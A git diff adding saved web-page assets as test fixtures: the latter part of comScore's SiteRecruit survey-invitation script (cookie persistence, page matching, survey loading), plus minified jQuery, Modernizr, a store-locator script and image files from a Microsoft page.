+ lastinvited: <datetime>,
+ userid: <date>+<random>,
+ vendorid: <assigned to comscore >,
+ surveys: ["pid","pid",....]
+ }
+
+ STATES:
+ not in progress/idle
+ dd in progress
+ edd
+ */
+
+ var date = new Date();
+ var inputpid = params.pid;
+ var inputurl = params.url;
+ var inputstate = this.CONSTANTS.STATE_NAME.IDLE;
+ if (params.statename){
+ inputstate = params.statename;
+ }
+ var inputtimestamp = date.getTime();
+ if (params.timestamp){
+ inputtimestamp = params.timestamp;
+ }
+ var inputcookiename = this.getCookieName();
+ if (params.cookiename){
+ inputcookiename = params.cookiename;
+ }
+ if (!params.cookieoptions){
+ params.cookieoptions = this.getDefaultCookieOptions();
+ }
+
+ var userObj = {};
+ userObj.version = "5.0";
+ userObj.state = {};
+ userObj.state.name = inputstate;
+ userObj.state.url = inputurl;
+ userObj.state.timestamp = inputtimestamp;
+ userObj.lastinvited = inputtimestamp;
+ userObj.userid = date.getTime().toString() + Math.floor(Math.random()*9999999999999999).toString() ;
+ userObj.vendorid = this.getVendorId();
+ userObj.surveys = new Array();
+ userObj.surveys.push(inputpid);
+ userObj.graceperiod = 5;
+
+ var cookieString = COMSCORE.SiteRecruit.Utils.JSONSerialize(userObj);
+
+ this.createCookie(inputcookiename,cookieString,params.cookieoptions)
+ return userObj;
+
+ },
+
+ /* Start Public Functions*/
+ setUserObj: function(params){
+ /*
+ Public function to set values for the user object
+ */
+
+ var inputpid, inputurl, inputstate, inputtimestamp;
+ var inputcookiename, inputgraceperiod, inputtrackertimestamp;
+ var date;
+
+ var userObj = this.getUserObj(params);
+ if (!userObj)
+ {
+ userObj = this.createUserObj(params);
+ }
+
+ date = new Date();
+
+ //MP: default values
+ inputtimestamp = 0;//date.getTime();
+ inputcookiename = this.getCookieName();
+ inputgraceperiod = 5;
+ inputtrackertimestamp = 0;
+ inputstate = this.CONSTANTS.STATE_NAME.IDLE;
+
+ //MP: pid and url are directly read from the input object
+ inputpid = params.pid;
+
+ if (params.url) {
+ inputurl = params.url;
+ }
+ else if (userObj.state.url) {
+ inputurl = userObj.state.url;
+ }
+
+ /**MP:Read values from params object, if not set, read from current cookie (preserve existent value)**/
+
+ //MP:state should always be explicitly set, if not, state value will be taken from current cookie
+ if (params.statename){
+ inputstate = params.statename;
+ }
+ else if (userObj.state && userObj.state.name) {
+ inputstate = userObj.state.name
+ }
+
+ if (params.timestamp) {
+ inputtimestamp = params.timestamp;
+ }
+ else if (userObj.state && userObj.state.timestamp) {
+ inputtimestamp = userObj.state.timestamp;
+ }
+
+ if (params.cookiename){
+ inputcookiename = params.cookiename;
+ }
+ //MP: cookiename is always passed on the params object
+
+ if (!params.cookieoptions){
+ params.cookieoptions = this.getDefaultCookieOptions();
+ }
+ //MP: cookieoptions do not exist in the userObject, if those values need to be preserved, they should be explicitly read here, one by one
+
+
+ if (params.graceperiod) {
+ inputgraceperiod = params.graceperiod;
+ }
+ else if (userObj.graceperiod) {
+ inputgraceperiod = userObj.graceperiod;
+ }
+ //MP: graceperiod is only set once, from then on, it should be preserved
+
+ if (params.trackertimestamp)
+ {
+ inputtrackertimestamp = params.trackertimestamp
+ }
+ else if (userObj.trackertimestamp)
+ {
+ inputtrackertimestamp = userObj.trackertimestamp;
+ }
+
+ //userObj.lastinvited = inputtimestamp;
+ userObj.lastinvited = date.getTime();
+
+ if (inputpid)
+ {
+ var doespidexist = false;
+ for (i=0; i < userObj.surveys.length; i++) {
+ if (userObj.surveys[i] && userObj.surveys[i].toLowerCase() == inputpid.toLowerCase()) {
+ doespidexist = true;
+ }
+ }
+ if (doespidexist == false){
+ if (userObj.surveys.length) {
+ // if there are more than maxNumberOfPids elements on the array, only the last maxNumberOfPids-1 will be kept
+ // and the new element will be added to the end, thus maintaining maxNumberOfPids elements in the array
+ if (userObj.surveys.length < this.maxNumberOfPids) {
+ userObj.surveys.push(inputpid);
+ } else {
+ userObj.surveys.splice(0,1);
+ userObj.surveys.push(inputpid);
+ }
+ } else {
+ userObj.surveys.push(inputpid);
+ }
+ }
+ //remove nulls
+ for (i=0; i < userObj.surveys.length; i++) {
+ if (userObj.surveys[i] == null) {
+ userObj.surveys.splice(i,1);
+ }
+ }
+ }
+ if (inputstate)
+ {
+ userObj.state.name = inputstate;
+ userObj.state.url = inputurl;
+ userObj.state.timestamp = inputtimestamp;
+ userObj.graceperiod = inputgraceperiod;
+ userObj.trackertimestamp = inputtrackertimestamp;
+ }
+
+ var cookieString = COMSCORE.SiteRecruit.Utils.JSONSerialize(userObj);
+ //this.removeCookie(inputcookiename, { path: params.cookieoptions.path, domain: params.cookieoptions.domain });
+ this.createCookie(inputcookiename,cookieString,params.cookieoptions);
+
+ return userObj;
+ },
+
+ getUserObj: function(params) {
+
+ var inputcookiename = this.getCookieName();
+ if (params.cookiename){
+ inputcookiename = params.cookiename;
+ }
+
+ var uservalue=this.getCookieValue(inputcookiename);
+
+ if (uservalue && uservalue!=""){
+ var userObj = COMSCORE.SiteRecruit.Utils.JSONDeserialize(uservalue);
+ //SR4.5 cookies do not store user objects, use this to overwrite
+ //For future dev, we probably want to increment this version number if we want
+ //to prevent scripts of different version from accessing certain cookies
+ if (userObj && userObj.version && !isNaN(userObj.version) && userObj.version >= 4.6)
+ {
+ return userObj;
+ }
+ else
+ {
+
+ }
+ }
+
+ return null;
+ }
+
+};
+
+ COMSCORE.SiteRecruit.DDKeepAlive = ( function() {
+ // private methods and properties
+ var _interval = 1000, _pageId = Math.random(), _timeoutId;
+
+ // shorthand
+ var _sr = COMSCORE.SiteRecruit;
+ var _utils = _sr.Utils;
+
+ return {
+ start: function() {
+ var that = this;
+
+ _timeoutId = setInterval(function() {
+ if (_sr.Broker.isDDInProgress() && that.isTrackerPageOpen()) {
+ that.setDDTrackerCookie();
+ }
+ else if (!that.isTrackerPageOpen()){
+ that.handleClosedTrackerPage();
+ }
+ else {
+
+ that.stop();
+ }
+ }, _interval);
+ },
+
+ stop: function() {
+ clearInterval(_timeoutId);
+
+ },
+
+ isTrackerPageOpen: function() {
+
+ //see if the tracker page has been closed while DD has been in progress
+ var params = {};
+ params.cookiename = COMSCORE.SiteRecruit.Broker.config.cookie.name;
+ var userObj = _utils.UserPersistence.getUserObj(params);
+ var now = (new Date()).getTime();
+ var ret = true;
+ var withinGracePeriod = false;
+ var gracePeriod;
+
+ if (userObj && userObj.state && userObj.state.name == _sr.CONSTANTS.STATE_NAME.DDINPROGRESS && userObj.state.timestamp && userObj.trackertimestamp) {
+ //(MPA) As a fix to the DDInProgress issue, now gracePeriod is compared to the trackerTimestamp instead of state.timestamp
+ //var timeDiff = now - userObj.state.timestamp;
+
+ var timeDiff = now - userObj.trackertimestamp;
+ var timeDiffSeconds = timeDiff/1000;
+ if (COMSCORE.SiteRecruit.Builder && COMSCORE.SiteRecruit.Builder.invitation && COMSCORE.SiteRecruit.Builder.invitation.config)
+ {
+ gracePeriod = COMSCORE.SiteRecruit.Builder.invitation.config.trackerGracePeriod;
+ }
+ else if (userObj.gracePeriod) {
+ gracePeriod = userObj.gracePeriod;
+ }
+
+ if (gracePeriod) {
+
+ gracePeriod = parseInt(gracePeriod);
+
+ //check if it has been more than 2 times the grace period
+ //if the update time is more than the grace period, the tracker was probably closed which
+ //is why its still in a DDINPROGRESS but past the grace period
+ var timeWindow = 2 * gracePeriod * 1000;
+ withinGracePeriod = (timeDiff < timeWindow);
+ if (!withinGracePeriod) {
+
+ ret = false;
+ }
+ }
+ }
+ return ret;
+
+ },
+
+ handleClosedTrackerPage: function() {
+
+ var params = {};
+ var c = _sr.Broker.config.cookie;
+ params.cookiename = c.name;
+ params.statename = _sr.CONSTANTS.STATE_NAME.IDLE;
+ params.cookieoptions = { path: c.path, domain: c.domain };
+ params.url = escape(_utils.location);
+ params.timestamp = (new Date()).getTime();
+ _utils.UserPersistence.setUserObj(params);
+ this.stop();
+ },
+
+ setDDTrackerCookie: function() {
+
+ var c = _sr.Broker.config.cookie;
+ var params = {};
+ params.cookiename = c.name;
+ var userObj = _utils.UserPersistence.getUserObj(params);
+
+ var params = {};
+ params.cookiename = c.name;
+ params.cookieoptions = { path: c.path, domain: c.domain };
+ params.url = escape(_utils.location);
+ params.statename = _sr.CONSTANTS.STATE_NAME.DDINPROGRESS;
+ params.timestamp = (new Date()).getTime();
+
+ if (COMSCORE.SiteRecruit.Builder && COMSCORE.SiteRecruit.Builder.invitation && COMSCORE.SiteRecruit.Builder.invitation.config){
+ //adding pid here so it gets passed to confirmit
+ params.pid = COMSCORE.SiteRecruit.Builder.invitation.config.projectId
+ params.graceperiod = COMSCORE.SiteRecruit.Builder.invitation.config.trackerGracePeriod;
+ }
+ else if (userObj && userObj.gracePeriod)
+ {
+ //set gracePeriod from previous cookie value
+ params.graceperiod = userObj.graceperiod;
+ }
+
+ _utils.UserPersistence.setUserObj(params);
+ }
+ };
+ } )();
+
+ COMSCORE.SiteRecruit.PagemapFinder = ( function() {
+ // private methods and properties
+ var _totalFreq;
+ // shorthand
+ var _sr = COMSCORE.SiteRecruit;
+ var _utils = _sr.Utils;
+
+ return {
+
+ getTotalFreq: function() {
+ return _totalFreq;
+ },
+
+ find: function(mappings) {
+ var currentPriority = 0, currentMatch;
+ var m = mappings;
+ //cjones 11/1/07
+ var matchList = [];
+ var halt = false;
+ _totalFreq = 0;
+ // Iterate over each URL.
+ for (var i = 0; m && i < m.length; i++) {
+ var matchPrereqs = false;
+
+ var pm = m[i];
+ if (pm) {
+ // Do the reg exp match.
+ var r = new RegExp(pm.m, 'i');
+ if (_utils.location.search(r) != -1) { // does current url match regex?
+
+ // Now check the prereqs.
+ var pr = m[i].prereqs;
+
+ matchPrereqs = true;
+ if (pr) {
+
+
+ if (!this.isMatchContent(pr.content)) {
+
+ matchPrereqs = false;
+ }
+
+ if (!this.isMatchCookie(pr.cookie)) {
+
+ matchPrereqs = false;
+ }
+
+ if (!this.isMatchLanguage(pr.language)) {
+
+ matchPrereqs = false;
+ }
+
+
+ // Third-party cookie reading pushed to the end of the sprint. Disabled till then
+ //if (!this.isMatchExternalCookie(pr.externalDomain)) {
+
+ // matchPrereqs = false;
+ //}
+
+ }
+ }
+ //cjones push match onto array
+ if (matchPrereqs) {
+ if (pm.halt) {
+
+ halt = true;
+ break;
+ }
+ else
+ {
+ matchList.push(pm);
+
+ //setting totalFreq to last matched as a precaution, freq should be adjusted when match is selected
+ _totalFreq = pm.f;
+ }
+ }
+ }
+ }
+ if (halt == true) {
+ matchList = null;
+ _totalFreq = 0;
+ return null;
+ }
+
+
+ return this.choosePriority(matchList);
+ },
+
+ choosePriority: function(matchList) {
+ var prevMatch = null;
+ for (var i = 0; i < matchList.length; i++) {
+ if (prevMatch == null) {
+ prevMatch = matchList[i];
+ _totalFreq = matchList[i].f;
+ }
+ else {
+ if (prevMatch.p < matchList[i].p) {
+ prevMatch = matchList[i];
+ //set the private class variable so getTotalFreq returns the right value
+ _totalFreq = matchList[i].f;
+ }
+
+ }
+ }
+ return prevMatch;
+ },
+
+ isMatchContent: function(content) {
+ var isMatch = true, i = 0;
+
+ while (isMatch && i < content.length) {
+
+ var matchContent = false;
+ var matchAttribute = false;
+
+ var c = content[i];
+
+ if (c.element) {
+ var elements = document.getElementsByTagName(c.element);
+ var flag = true;
+
+ for (var k = 0; k < elements.length; k++) {
+ //var val = c.elementValue;
+ var val = new RegExp(c.elementValue);
+
+ if (val) {
+ //if (elements[k].innerHTML.search(val) != -1) {
+ if (val.test(elements[k].innerHTML)) {
+ if (flag) {
+
+ flag = false;
+ }
+ matchContent = true;
+ }
+ }
+ else {
+ matchContent = true;
+ }
+
+ if (c.attrib && c.attrib.length) {
+ var a = elements[k].attributes.getNamedItem(c.attrib);
+ var val2 = new RegExp(c.attribValue);
+ if (a) {
+ if (c.attribValue && c.attribValue.length) {
+ if (val2.test(a.value)) {
+ //if (a.value.search(c.attribValue) != -1) {
+ matchAttribute = true;
+ }
+ }
+ else {
+ matchAttribute = true;
+ }
+ }
+ }
+ else {
+ matchAttribute = true;
+ }
+ }
+ }
+
+ if (!matchContent || !matchAttribute) {
+ isMatch = false;
+ }
+ i++;
+ }
+
+ return isMatch;
+ },
+
+ isMatchCookie: function(cookies) {
+ var isMatch = true, i = 0;
+
+ while (isMatch && i < cookies.length) {
+
+ // This matches on cookies specified in the console-> Page Mappings -> Edit prereqs
+
+ var c = cookies[i], val = _utils.UserPersistence.getCookieValue(c.name);
+
+ if (val && val !== null) {
+
+ //Treat c.value as RegExp
+ var regExp = new RegExp(c.value);
+
+
+
+ isMatch = regExp.test(val);
+ i++;
+ }
+ else {
+ return false;
+ }
+ }
+
+ return isMatch;
+ },
+
+ isMatchLanguage: function(lang) {
+ var n = navigator.language || navigator.userLanguage;
+ n = n.toLowerCase();
+ if (!lang) {
+ return true;
+ }
+ var regExp = new RegExp(lang);
+ //if (n.indexOf(lang) != -1) {
+ if (regExp.test(n)) {
+
+ return true;
+ }
+
+
+ return false;
+ },
+
+ verifyExternalCookie: function(cookie) {
+ COMSCORE.SiteRecruit.Broker.extCookie = cookie;
+ },
+
+ readExternalCookie: function(externalDomainPrereq) {
+ // Make a call to the rc.pli file
+ var domain = externalDomainPrereq[0].domain;
+ var cookieName = externalDomainPrereq[0].name;
+ var func = "COMSCORE.SiteRecruit.PagemapFinder.verifyExternalCookie"
+ var rUrl = domain + "?n=" + cookieName + "&func=" + func + "&";
+ _utils.loadScript(rUrl, false);
+ },
+
+ isMatchExternalCookie: function(externalDomainPrereq) {
+ //COMSCORE.SiteRecruit.PagemapFinder.readExternalCookie(externalDomainPrereq);
+
+ var domain = externalDomainPrereq[0].domain;
+ var cookieName = externalDomainPrereq[0].name;
+ var func = "COMSCORE.SiteRecruit.PagemapFinder.verifyExternalCookie"
+
+ var rUrl = domain + "?n=" + cookieName + "&func=" + func + "&";
+ var extScript;
+ //_utils.loadScript(rUrl, false);
+
+ var scripts = document.getElementsByTagName( 'script' );
+ for (var i = 0; i < scripts.length; i++) {
+ if (scripts[i].src.search(domain) != -1) {
+ extScript = scripts[i];
+ }
+ }
+
+ if (COMSCORE.SiteRecruit.Broker.extCookie && COMSCORE.SiteRecruit.Broker.extCookie != "") {
+
+ return true;
+ }
+ else {
+
+ return false;
+ }
+ }
+ };
+ } )();
+
+ COMSCORE.SiteRecruit.Broker = ( function() {
+ // private method and properties
+
+ // for short hand
+ var _sr = COMSCORE.SiteRecruit;
+ var _utils = _sr.Utils;
+ var _extCookie = "!";
+
+ // public methods and properties
+ return {
+ /**
+ Events: {
+
+ * @param {Object} utils - a reference to COMSCORE.SiteRecruit.Utils class for quick access
+ * @param {Object} options - contains the bool: IsLucky
+
+ beforeRecruit: function() {}
+ },
+ */
+
+ init: function(cookies) {
+ //CUSTOM CODE
+ if(cookies){ this.arCookie = cookies; }
+
+ _sr.browser = _utils.getBrowser();
+ _sr.executingPath = _utils.getExecutingPath("broker.js");
+
+ if (_sr.browser.ie || _sr.browser.mozilla) {
+ _utils.loadScript(_sr.executingPath + _sr.configUrl, true);
+ }
+ else {
+
+ return;
+ }
+ },
+
+ start: function() {
+ //If Mobile browser NOT detected then run init() function
+ if(/iphone|ipad|ipod|android|opera (mini|mobi)|blackberry|windows (phone|ce)|iemobile|htc|nokia|mobile/i.test(navigator.userAgent)){
+ //Disable recruitment for mobile
+ }else if (/[\w\.]+\/en-us\/dynamics/i.test(SR_url)) {
+ // CUSTOM CODE - Check for AR Already Asked cookie
+ var projectId = "p100339422";
+ var cookieName = "ar_s_" + projectId;
+ var callback = "COMSCORE.SiteRecruit.Broker.init";
+ var readCookieURL = document.location.protocol + "//ar.voicefive.com/b/rc.pli?n=" + cookieName + "&func=" + callback + "&" + (new Date()).getTime();
+ _utils.loadScript(readCookieURL, false);
+ // END CUSTOM
+ }else {
+ //mobile browser is NOT detected...loading scripts..
+ this.init();
+ }
+ },
+
+ run: function() {
+
+
+ //initialize IE user data persistence if and only if
+ //this option has been enabled and the browser is ie
+
+ this.config.Events.beforeRecruit();
+
+ if (this.config.objStoreElemName) {
+ if (_sr.browser.ie) {
+ COMSCORE.SiteRecruit.Utils.UserPersistence.initialize();
+ }
+ else {
+
+ return;
+ }
+ }
+ //CUSTOM CODE
+ if (this.arCookie && this.arCookie != "") {
+ return;
+ }
+ // verify versions match
+ if (_sr.version !== this.config.version) {
+
+ return;
+ }
+
+ //verify test mode
+ var testModeConfig = this.config.testMode;
+ var testModeURL;
+ var testMode;
+
+ testModeURL = (_utils.UserPersistence.getCookieValue("tstMode") == 1)?true:false;
+
+ testMode = (testModeConfig || testModeURL);
+
+ if (this.isDDInProgress()) {
+ this.processDDInProgress();
+ }
+
+ if (!testMode || this.isDDInProgress()) {
+ // if any site recruit exists, stop executing
+ //if (_utils.UserPersistence.get(this.config.cookie.name) !== false) {
+ //
+ // return;
+ //}
+
+ // this is being changed to match the new logic
+ // OLD: if there is a cookie then stop
+ // NEW: if there is a cookie, check the timestamp ( make sure it is more than 90 days), also make sure to exit if dd
+
+ var params = {};
+ params.cookiename = this.config.cookie.name;
+ var userObj = _utils.UserPersistence.getUserObj(params);
+ var date = new Date();
+ var durationdays = this.config.cookie.duration;
+ var durationtimestamp = date.getTime() - ( durationdays * 24 * 60 * 60 * 1000);
+
+ if (userObj) {
+ if (userObj.lastinvited > durationtimestamp) {
+
+
+ return;
+ //}
+ }
+ }
+
+ }
+
+ if (this.findPageMapping())
+ {
+ if (testMode) {
+
+ if (this.pagemap) {
+ this.loadBuilder();
+ }
+ return;
+ }
+
+ // roll the dice
+ var r = _utils.getRandom();
+
+ if (r <= _sr.PagemapFinder.getTotalFreq()) {
+
+ //cjones
+ if (this.pagemap) {
+ this.loadBuilder();
+ }
+ }
+ else {
+
+ return;
+ }
+ }
+ else {
+
+ return;
+ }
+ },
+
+ isDDInProgress: function() {
+ //var c = _utils.UserPersistence.get(COMSCORE.SiteRecruit.Broker.config.cookie.name);
+ //return (c && c.indexOf(_sr.CONSTANTS.COOKIE_TYPE.DD_IN_PROGRESS) === 0);
+
+ var ddinprogress = false;
+ var params = {};
+ params.cookiename = COMSCORE.SiteRecruit.Broker.config.cookie.name;
+ var userObj = _utils.UserPersistence.getUserObj(params);
+
+ if (userObj) {
+ if (userObj.state.name == _sr.CONSTANTS.STATE_NAME.DDINPROGRESS) {
+ ddinprogress = true
+
+ }
+ }
+
+ return ddinprogress;
+ },
+
+ processDDInProgress: function() {
+ //Ensure this function is only called when state name is DDINPROGRESS
+ // launch dd keep alive
+
+ _sr.DDKeepAlive.start();
+ },
+
+ findPageMapping: function() {
+ this.pagemap = _sr.PagemapFinder.find(this.config.mapping);
+ return this.pagemap;
+ },
+
+ loadBuilder: function() {
+ // prefix pageconfig url if it's supplied
+ var url = _sr.executingPath + _sr.builderUrl;
+ if(_sr_builder == "builder_Qbi.js"){
+ var _s = "http://js.microsoft.com/library/svy/qinvite-config.js";
+ _utils.loadScript(_s);
+ }
+ /*
+ var p = this.config.prefixUrl;
+
+ if (p) {
+ url = p + url;
+ }
+ */
+ _utils.loadScript(url);
+ }
+ };
+ } )();
+
+ COMSCORE.isDDInProgress = COMSCORE.SiteRecruit.Broker.isDDInProgress;
+
+ COMSCORE.SiteRecruit.OnReady = ( function() {
+ // for short hand
+ var _sr = COMSCORE.SiteRecruit;
+ var _utils = _sr.Utils;
+
+ // public methods and properties
+ return {
+ onload : function() {
+ if (_sr.OnReady.done) { return; }
+ _sr.OnReady.done = true;
+ _sr.Broker.start(); //initialize the broker once the DOM is ready
+ //clean up
+ //safari
+ if(_sr.OnReady.timer){
+
+ clearInterval(_sr.OnReady.timer);
+ }
+ //mozilla opera
+ if(document.addEventListener) {
+
+ document.removeEventListener("DOMContentLoaded", _sr.OnReady.onload, false);
+ }
+ //ie
+ if(window.ActiveXObject){
+
+ /*
+ var defer = document.getElementById("sr__ie_onload");
+ if(defer){
+ defer.onreadystatechange = null;
+ defer.parentNode.removeChild(defer);
+ }
+ */
+ }
+ },
+ listen : function() {
+ //safari
+ if (/WebKit|khtml/i.test(navigator.userAgent)) {
+ _sr.OnReady.timer = setInterval(function() {
+ if (/loaded|complete/.test(document.readyState)) {
+ clearInterval(_sr.OnReady.timer);
+ delete _sr.OnReady.timer;
+ _sr.OnReady.onload();
+ }}, 10);
+ }
+ //mozilla opera
+ else if (document.addEventListener) {
+ document.addEventListener('DOMContentLoaded', _sr.OnReady.onload, false);
+ }
+ //ie
+ else if (window.ActiveXObject) {
+ //_sr.OnReady.iew32 = true;
+ //document.write('<script id="sr__ie_onload" defer src="' + ((location.protocol == 'https:') ? '//0' : 'javascript:void(0)') + '"><\/script>');
+ //document.getElementById('sr__ie_onload').onreadystatechange = function(){if (this.readyState == 'complete') { _sr.OnReady.onload(); }};
+ COMSCORE.SiteRecruit.OnReady.waitForLoad = setInterval(function() {
+ try {
+ // throws errors until after ondocummentready
+ document.documentElement.doScroll('left');
+ } catch (ex) {
+ return;
+ }
+ COMSCORE.SiteRecruit.OnReady.waitForLoad = clearInterval(COMSCORE.SiteRecruit.OnReady.waitForLoad);
+ COMSCORE.SiteRecruit.OnReady.onload();
+ }, 1000);
+ }
+ //default ??
+ else {
+ if(window.addEventListener) {
+ window.addEventListener('load', _sr.OnReady.onload, false);
+ } else if (window.attachEvent) {
+ return window.attachEvent('onload', _sr.OnReady.onload);
+ }
+ }
+ },
+ f:[],done:false,timer:null
+ };
+ })();
+
+ COMSCORE.SiteRecruit.OnReady.listen();
+}// namespace (if statement at the top)
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/c_002.gif b/src/test/resources/s/Filer_for_microsoft/c_002.gif
new file mode 100644
index 0000000..9935f82
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/c_002.gif differ
diff --git a/src/test/resources/s/Filer_for_microsoft/css.css b/src/test/resources/s/Filer_for_microsoft/css.css
new file mode 100644
index 0000000..5f28270
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/css.css
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/fallpromo_bug_black.png b/src/test/resources/s/Filer_for_microsoft/fallpromo_bug_black.png
new file mode 100644
index 0000000..5202136
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/fallpromo_bug_black.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/jquery-1.js b/src/test/resources/s/Filer_for_microsoft/jquery-1.js
new file mode 100644
index 0000000..16ad06c
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/jquery-1.js
@@ -0,0 +1,4 @@
+/*! jQuery v1.7.2 jquery.com | jquery.org/license */
+(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.bod [...]
+a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){ [...]
+.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagNa [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/js.ashx b/src/test/resources/s/Filer_for_microsoft/js.ashx
new file mode 100644
index 0000000..5f28270
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/js.ashx
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/logo-lg-1x.png b/src/test/resources/s/Filer_for_microsoft/logo-lg-1x.png
new file mode 100644
index 0000000..371769f
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/logo-lg-1x.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/logo-type-1x.png b/src/test/resources/s/Filer_for_microsoft/logo-type-1x.png
new file mode 100644
index 0000000..5b7e90e
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/logo-type-1x.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/logo_Microsoft_hl.jpg b/src/test/resources/s/Filer_for_microsoft/logo_Microsoft_hl.jpg
new file mode 100644
index 0000000..b5cd3a7
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/logo_Microsoft_hl.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/modernizr.js b/src/test/resources/s/Filer_for_microsoft/modernizr.js
new file mode 100644
index 0000000..e09ebe7
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/modernizr.js
@@ -0,0 +1,4 @@
+/* Modernizr 2.6.2 (Custom Build) | MIT & BSD
+* Build: http://modernizr.com/download/#-fontface-backgroundsize-flexbox-cssanimations-csstransforms-csstransforms3d-csstransitions-canvas-audio-video-inlinesvg-svg-touch-printshiv-cssclasses-teststyles-testprop-testallprops-prefixes-domprefixes-load
+*/
+; window.Modernizr = function (a, b, c) { function A(a) { j.cssText = a } function B(a, b) { return A(m.join(a + ";") + (b || "")) } function C(a, b) { return typeof a === b } function D(a, b) { return !! ~("" + a).indexOf(b) } function E(a, b) { for (var d in a) { var e = a[d]; if (!D(e, "-") && j[e] !== c) return b == "pfx" ? e : !0 } return !1 } function F(a, b, d) { for (var e in a) { var f = b[a[e]]; if (f !== c) return d === !1 ? a[e] : C(f, "function") ? f.bind(d || b) : f } retur [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/office_symbol_clr_52x52.png b/src/test/resources/s/Filer_for_microsoft/office_symbol_clr_52x52.png
new file mode 100644
index 0000000..c97461a
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/office_symbol_clr_52x52.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/prod_SurfacePro2_hl.jpg b/src/test/resources/s/Filer_for_microsoft/prod_SurfacePro2_hl.jpg
new file mode 100644
index 0000000..97fa9d7
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/prod_SurfacePro2_hl.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/prod_bingSidebar_hl.jpg b/src/test/resources/s/Filer_for_microsoft/prod_bingSidebar_hl.jpg
new file mode 100644
index 0000000..d600dcc
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/prod_bingSidebar_hl.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/script.jsx b/src/test/resources/s/Filer_for_microsoft/script.jsx
new file mode 100644
index 0000000..2cea59c
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/script.jsx
@@ -0,0 +1 @@
+function getStore(n){var t="ClosestStore.asmx",r,i;$(".store-geo[data-GeoStoreLocalServiceURL]").length&&(t=$(".store-geo").first().attr("data-GeoStoreLocalServiceURL")),i="POST",typeof n!="undefined"&&(r={latitude:JSON.stringify(n.coords.latitude),longitude:JSON.stringify(n.coords.longitude)},t=t+"ClientGeo",i="GET"),$.ajax({url:t,type:i,timeout:5e3,data:r,contentType:"application/json; charset=UTF-8",dataType:"json",error:function(){$(".store-geo").remove(),$(".store-editorial").fadeI [...]
diff --git a/src/test/resources/s/Filer_for_microsoft/script_002.jsx b/src/test/resources/s/Filer_for_microsoft/script_002.jsx
new file mode 100644
index 0000000..2cb1dc9
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/script_002.jsx
@@ -0,0 +1 @@
+(function(n){var i=function(){return typeof n.screen.systemXDPI!="undefined"&&n.screen.systemXDPI>=n.screen.logicalXDPI?n.screen.systemXDPI/n.screen.logicalXDPI:typeof n.devicePixelRatio!="undefined"?n.devicePixelRatio:1},r=function(){var r=!1,t=r==!1||n.screen.width>n.screen.height?n.screen.width:n.screen.height,u=r==!1||n.innerWidth>n.innerHeight?n.innerWidth:n.innerHeight;return u>t&&(t=u),t=t*i()},u=function(){return navigator.userAgent.toLowerCase().indexOf("webkit")>-1?document.do [...]
diff --git a/src/test/resources/s/Filer_for_microsoft/script_003.jsx b/src/test/resources/s/Filer_for_microsoft/script_003.jsx
new file mode 100644
index 0000000..1a41ce0
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/script_003.jsx
@@ -0,0 +1 @@
